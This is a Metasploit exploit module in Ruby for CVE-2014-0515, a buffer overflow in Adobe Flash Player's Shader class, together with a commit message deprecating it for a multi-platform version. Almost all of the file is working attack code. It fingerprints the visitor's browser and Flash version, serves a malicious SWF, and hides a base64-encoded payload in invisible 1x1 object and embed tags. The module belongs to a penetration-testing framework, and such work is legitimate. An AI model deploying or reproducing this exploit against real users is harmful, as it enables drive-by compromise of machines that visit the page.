Please use exploit/multi/browser/adobe_flash_pixel_bender_bof
Time to say goodbye to: exploits/windows/browser/adobe_flash_pixel_bender_bof.rb Please use: exploit/multi/browser/adobe_flash_pixel_bender_bof Reason: The replacement supports multiple platforms, so better.bug/bundler_fix
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##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::BrowserExploitServer
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include Msf::Module::Deprecated
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deprecated(Date.new(2015, 11, 9), 'exploit/multi/browser/adobe_flash_pixel_bender_bof')
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def initialize(info={})
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super(update_info(info,
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'Name' => 'Adobe Flash Player Shader Buffer Overflow',
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'Description' => %q{
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This module exploits a buffer overflow vulnerability in Adobe Flash Player. The
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vulnerability occurs in the flash.Display.Shader class, when setting specially
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crafted data as its bytecode, as exploited in the wild in April 2014. This module
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has been tested successfully on IE 6 to IE 11 with Flash 11, Flash 12 and Flash 13
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over Windows XP SP3, Windows 7 SP1 and Windows 8.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Unknown', # Vulnerability discovery and exploit in the wild
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'juan vazquez' # msf module
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],
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'References' =>
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[
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['CVE', '2014-0515'],
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['BID', '67092'],
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['URL', 'http://helpx.adobe.com/security/products/flash-player/apsb14-13.html'],
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['URL', 'http://www.securelist.com/en/blog/8212/New_Flash_Player_0_day_CVE_2014_0515_used_in_watering_hole_attacks'],
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['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/analyzing-cve-2014-0515-the-recent-flash-zero-day/' ]
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],
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'Payload' =>
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{
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'DisableNops' => true
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},
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'Platform' => 'win',
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'BrowserRequirements' =>
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{
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:source => /script|headers/i,
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:os_name => OperatingSystems::Match::WINDOWS,
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:ua_name => lambda { |ua| ua == Msf::HttpClients::IE || ua == Msf::HttpClients::FF || ua == Msf::HttpClients::SAFARI},
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:flash => lambda { |ver| ver =~ /^11\./ || ver =~ /^12\./ || (ver =~ /^13\./ && ver <= '13.0.0.182') }
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},
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'Targets' =>
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[
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[ 'Automatic', {} ]
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],
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'Privileged' => false,
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'DisclosureDate' => 'Apr 28 2014',
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'DefaultTarget' => 0))
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end
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def exploit
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@swf = create_swf
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super
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end
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def on_request_exploit(cli, request, target_info)
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print_status("Request: #{request.uri}")
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if request.uri =~ /\.swf$/
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print_status('Sending SWF...')
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send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
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return
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end
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print_status('Sending HTML...')
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send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
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end
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def exploit_template(cli, target_info)
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swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
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target_payload = get_payload(cli, target_info)
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b64_payload = Rex::Text.encode_base64(target_payload)
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os_name = target_info[:os_name]
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platform_id = 'win'
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html_template = %Q|<html>
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<body>
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<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
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<param name="movie" value="<%=swf_random%>" />
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<param name="allowScriptAccess" value="always" />
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<param name="FlashVars" value="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" />
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<param name="Play" value="true" />
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<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" Play="true"/>
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</object>
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</body>
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</html>
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return html_template, binding()
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end
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def create_swf
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path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2014-0515', 'msf.swf' )
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swf = ::File.open(path, 'rb') { |f| swf = f.read }
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swf
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end
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end
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